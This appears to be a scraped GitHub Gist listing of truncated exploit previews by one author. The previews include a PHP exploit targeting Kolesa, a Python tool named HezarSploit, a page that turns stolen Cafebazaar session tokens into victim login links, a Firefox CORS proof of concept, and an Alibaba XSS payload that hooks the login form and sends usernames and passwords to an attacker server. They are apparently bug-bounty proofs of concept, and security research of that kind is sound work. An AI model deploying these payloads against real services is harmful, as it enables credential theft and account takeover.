Search for your city and find the weather in your location. Created as a freecodecamp project.
Voorivex Voorivex
Voorivex
/ kolesa-exploit.php
Created
September 27, 2020 10:18
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?php | |
| $victim_ip_address = ""; | |
| $output=""; | |
| $phone_nums=""; | |
| // Function to send HTTP GET requests, returning [contents,location,cookies]. | |
| function http_get($URL, $cookies = "", $xhr=false) | |
| { | |
| global $victim_ip_address; | |
| $xhr_header=""; | |
| if ($xhr == true) { |
Voorivex
/ HezarSploit.py
Created
July 2, 2020 14:45
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/python | |
| # -*- coding: utf-8 -*- | |
| import ssl | |
| import socket | |
| import os | |
| import sys | |
| from argparse import ArgumentParser | |
| from argparse import RawTextHelpFormatter | |
| from threading import Thread |
Voorivex
/ Bazar-Exploit.php
Created
June 23, 2020 07:42
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <?php | |
| if (isset($_GET['key'])) { | |
| //Get authentication token | |
| $token = $_GET['key']; | |
| $login_link = "https://cafebazaar.ir/login/bysession?key=" . $token . "&next=/account/"; | |
| $login_link = "Login link: <a href='" . $login_link . "' target='_blank'>" . $login_link . "</a>"; | |
| if ($token == "") { | |
| $login_link = "Login Link: Failure! Victim not logged in."; | |
| } | |
Voorivex
/ Firefox-CORS-Misconfig.js
Created
July 4, 2019 08:26
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| <html> | |
| <meta content="text/html;charset=utf-8" http-equiv="Content-Type"> | |
| <meta content="utf-8" http-equiv="encoding"> | |
| <body onload="CreateListReaderIframe()"> | |
| <script> | |
| function CreateListReaderIframe() { | |
| var ifr = document.createElement("iframe"); |
Voorivex
/ Alibaba-final-xss-payload.js
Created
April 14, 2019 16:31
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| document.forms[0].onsubmit = function() { | |
| var u = document.getElementById('fm-login-id'); | |
| var p = document.getElementById('fm-login-password'); | |
| var s = new XMLHttpRequets(); | |
| s.open('POST', 'https://myserver/xxx-alibaba/'); | |
| s.setRequestHeader('Content-type', 'application/x-www-form-urlencoded'); | |
| s.onreadystatechange = function() { | |
| if (s.readState == 4) { | |
| document.forms[0].submit(); | |
| } |
Voorivex
/ doc.open.alipay.com-vulnerable-js-searchList-v2.js
Created
April 14, 2019 15:57
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| function h(b, e) { | |
| url = d.one(".J_ajaxUrl").val(); | |
| var f = "keyword=" + (d.one(".J_Tagword") ? d.one(".J_Tagword").val() : d.one(".J_SearchKeyword").val()) + "&searchType=" + e; | |
| url.indexOf("?") > 0 ? url += "&" : url += "?", | |
| c({ | |
| url: url + f + "¤t=" + b, | |
| type: "post", | |
| dataType: "json", | |
| data: {}, | |
| success: function(b) { |